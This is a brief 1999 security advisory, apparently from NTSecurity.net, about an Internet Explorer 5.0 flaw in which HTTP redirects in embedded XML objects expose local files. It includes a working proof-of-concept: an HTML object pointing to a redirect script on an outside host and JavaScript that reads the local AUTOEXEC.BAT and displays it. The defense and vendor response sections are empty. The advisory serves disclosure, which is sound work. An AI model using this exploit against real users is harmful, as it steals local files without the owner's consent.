IE5 XML Redirects - 22 Nov 1999

According to Georgio"s bulletin, "Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (and perhaps other versions) has a security problem with HTTP redirects in XML objects. This allows at least the following actions:

1. Reading any (local or nonlocal) XML file and any wellformed documents. With the growing influence of XML I consider this a serious problem.
2. Reading parts of documents
3. Checking for the existence of local files.
   I suppose reading of arbitrary files (not just XML) is also possible, but I do not have the time to explore.

When someone embeds an XML document within an HTML document, IE 5.0 does not handle the HTTP redirects properly, allowing access to the domain of the embeded XML document."

DEMONSTRATION

<object id="xm" type="text/xml"
  data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
</object>
<SCRIPT>
function f()
\{
   s=xm.body.innerHTML;
   a=window.open();
  //alert(s);
  a.document.open();
  a.document.write("Here is a part of AUTOEXEC.BAT (the error message is normal):<BR>"+s);
  a.document.close();
  \}
setTimeout("f()",5000);
</SCRIPT>

DEFENSE

VENDOR RESPONSE

CREDITS
Discovered by Georgio Guninski
Posted here at NTSecurity.net on November 22, 1999